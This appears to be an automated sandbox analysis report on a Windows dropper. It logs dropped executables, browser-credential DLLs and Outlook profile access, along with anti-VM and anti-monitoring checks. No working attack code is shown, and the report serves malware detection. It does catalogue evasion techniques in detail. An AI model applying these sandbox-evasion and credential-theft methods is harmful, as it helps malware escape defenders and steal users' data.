Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Section loaded: netutils.dll

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: Google Drive.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: ByVoN4bhSU.exe

Static file information: File size 5804544 > 1048576

Source: ByVoN4bhSU.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x580c00

Source: ByVoN4bhSU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: ByVoN4bhSU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: ByVoN4bhSU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: ByVoN4bhSU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: ByVoN4bhSU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: ByVoN4bhSU.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: ByVoN4bhSU.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: ByVoN4bhSU.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: mozglue[1].dll.3.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.3.dr
Source:	Binary string: wextract.pdb source: ByVoN4bhSU.exe, j1C74.exe.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.3.dr
Source:	Binary string: nss3.pdb@ source: nss3[1].dll.3.dr, nss3.dll.3.dr
Source:	Binary string: wextract.pdbGCTL source: ByVoN4bhSU.exe, j1C74.exe.0.dr
Source:	Binary string: my_library.pdbU source: 2h6379.exe, 00000003.00000003.2257337140.0000000008EAB000.00000004.00001000.00020000.00000000.sdmp, 3S96n.exe, 0000001A.00000003.2810499954.0000000004A8B000.00000004.00001000.00020000.00000000.sdmp, 3S96n.exe, 0000001A.00000002.2851008315.000000000057C000.00000040.00000001.01000000.00000016.sdmp, chrome.dll.3.dr
Source:	Binary string: my_library.pdb source: 2h6379.exe, 00000003.00000003.2257337140.0000000008EAB000.00000004.00001000.00020000.00000000.sdmp, 3S96n.exe, 3S96n.exe, 0000001A.00000003.2810499954.0000000004A8B000.00000004.00001000.00020000.00000000.sdmp, 3S96n.exe, 0000001A.00000002.2851008315.000000000057C000.00000040.00000001.01000000.00000016.sdmp, chrome.dll.3.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.3.dr, softokn3.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.3.dr, vcruntime140[1].dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.3.dr, msvcp140.dll.3.dr
Source:	Binary string: nss3.pdb source: nss3[1].dll.3.dr, nss3.dll.3.dr
Source:	Binary string: mozglue.pdb source: mozglue[1].dll.3.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.3.dr, softokn3.dll.3.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Unpacked PE file: 3.2.2h6379.exe.e10000.0.unpack :EW;.rsrc:W;.idata :W;atmfzxnt:EW;cfwltgdw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;atmfzxnt:EW;cfwltgdw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Unpacked PE file: 26.2.3S96n.exe.550000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ajclbkke:EW;yhxmvaoe:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ajclbkke:EW;yhxmvaoe:EW;.taggant:EW;

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe

Code function: 0_2_0021202A memset,memset,RegCreateKeyExA,RegQueryValueExA,RegCloseKey,GetSystemDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,GetSystemDirectoryA,GetModuleFileNameA,LocalAlloc,RegCloseKey,RegSetValueExA,RegCloseKey,LocalFree,

0_2_0021202A

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.3.dr	Static PE information: real checksum: 0x326348 should be: 0x5bf6e
Source: 4w017y.exe.0.dr	Static PE information: real checksum: 0x326348 should be: 0x326fb1
Source: 3S96n.exe.1.dr	Static PE information: real checksum: 0x20eb5a should be: 0x21204c
Source: DocumentsAFCFHDHIII.exe.3.dr	Static PE information: real checksum: 0x326348 should be: 0x5bf6e
Source: chrome.dll.3.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: 2h6379.exe.1.dr	Static PE information: real checksum: 0x2e7aa3 should be: 0x2ecead

Source: 4w017y.exe.0.dr	Static PE information: section name:
Source: 4w017y.exe.0.dr	Static PE information: section name: .idata
Source: 4w017y.exe.0.dr	Static PE information: section name: paflvhti
Source: 4w017y.exe.0.dr	Static PE information: section name: ykjvsrqi
Source: 4w017y.exe.0.dr	Static PE information: section name: .taggant
Source: 2h6379.exe.1.dr	Static PE information: section name:
Source: 2h6379.exe.1.dr	Static PE information: section name: .idata
Source: 2h6379.exe.1.dr	Static PE information: section name: atmfzxnt
Source: 2h6379.exe.1.dr	Static PE information: section name: cfwltgdw
Source: 2h6379.exe.1.dr	Static PE information: section name: .taggant
Source: 3S96n.exe.1.dr	Static PE information: section name:
Source: 3S96n.exe.1.dr	Static PE information: section name: .rsrc
Source: 3S96n.exe.1.dr	Static PE information: section name: .idata
Source: 3S96n.exe.1.dr	Static PE information: section name:
Source: 3S96n.exe.1.dr	Static PE information: section name: ajclbkke
Source: 3S96n.exe.1.dr	Static PE information: section name: yhxmvaoe
Source: 3S96n.exe.1.dr	Static PE information: section name: .taggant
Source: mozglue.dll.3.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.3.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.3.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.3.dr	Static PE information: section name: .didat
Source: random[1].exe.3.dr	Static PE information: section name:
Source: random[1].exe.3.dr	Static PE information: section name: .idata
Source: random[1].exe.3.dr	Static PE information: section name: paflvhti
Source: random[1].exe.3.dr	Static PE information: section name: ykjvsrqi
Source: random[1].exe.3.dr	Static PE information: section name: .taggant
Source: DocumentsAFCFHDHIII.exe.3.dr	Static PE information: section name:
Source: DocumentsAFCFHDHIII.exe.3.dr	Static PE information: section name: .idata
Source: DocumentsAFCFHDHIII.exe.3.dr	Static PE information: section name: paflvhti
Source: DocumentsAFCFHDHIII.exe.3.dr	Static PE information: section name: ykjvsrqi
Source: DocumentsAFCFHDHIII.exe.3.dr	Static PE information: section name: .taggant
Source: nss3.dll.3.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.3.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.3.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.3.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Code function: 0_2_0021724D push ecx; ret	0_2_00217260
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Code function: 1_2_0035724D push ecx; ret	1_2_00357260
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159DB4A push 0000002Ah; ret	3_3_0159DC8A
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159EAFD push edx; retf	3_3_0159EB41
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159EAFD push edx; retf	3_3_0159EB41
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159EAFD push edx; retf	3_3_0159EB41
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159D924 push FFFFFF87h; retf	3_3_0159D926
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159D924 push FFFFFF87h; retf	3_3_0159D926
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159D924 push FFFFFF87h; retf	3_3_0159D926
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159EAFD push edx; retf	3_3_0159EB41
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159EAFD push edx; retf	3_3_0159EB41
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159EAFD push edx; retf	3_3_0159EB41
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159D924 push FFFFFF87h; retf	3_3_0159D926
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159D924 push FFFFFF87h; retf	3_3_0159D926
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159D924 push FFFFFF87h; retf	3_3_0159D926
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159C942 push cs; iretd	3_3_0159C9A1
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159DB78 push 0000002Ah; ret	3_3_0159DC8A
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159EAFD push edx; retf	3_3_0159EB41
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159EAFD push edx; retf	3_3_0159EB41
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159EAFD push edx; retf	3_3_0159EB41
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159C9E8 push eax; iretd	3_3_0159CB51
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159D924 push FFFFFF87h; retf	3_3_0159D926
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159D924 push FFFFFF87h; retf	3_3_0159D926
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0159D924 push FFFFFF87h; retf	3_3_0159D926
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0156F144 push FFFFFF87h; retf	3_3_0156F146
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_01575AE0 push eax; retf	3_3_01575AE1
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_01574039 push ds; retf	3_3_0157403A
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_0156D8A8 push FFFFFF87h; retf	3_3_0156D8AA
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_014FCF54 push eax; iretd	3_3_014FCF55
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_014FCF50 push eax; iretd	3_3_014FCF51
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Code function: 3_3_014F897F push esi; iretd	3_3_014F89E9

Source: 4w017y.exe.0.dr	Static PE information: section name: entropy: 7.072933919519643
Source: 2h6379.exe.1.dr	Static PE information: section name: entropy: 7.976481276416659
Source: 3S96n.exe.1.dr	Static PE information: section name: ajclbkke entropy: 7.95316713730782
Source: random[1].exe.3.dr	Static PE information: section name: entropy: 7.440376896333069
Source: DocumentsAFCFHDHIII.exe.3.dr	Static PE information: section name: entropy: 7.440376896333069

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

File created: C:\Users\user\DocumentsAFCFHDHIII.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\Users\user\DocumentsAFCFHDHIII.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Jump to dropped file
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\4w017y.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

File created: C:\Users\user\DocumentsAFCFHDHIII.exe

Jump to dropped file

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Code function: 0_2_00211AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,		0_2_00211AE8
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Code function: 1_2_00351AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,		1_2_00351AE8

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

File created: C:\Users\user\DocumentsAFCFHDHIII.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup1	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3S96n.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

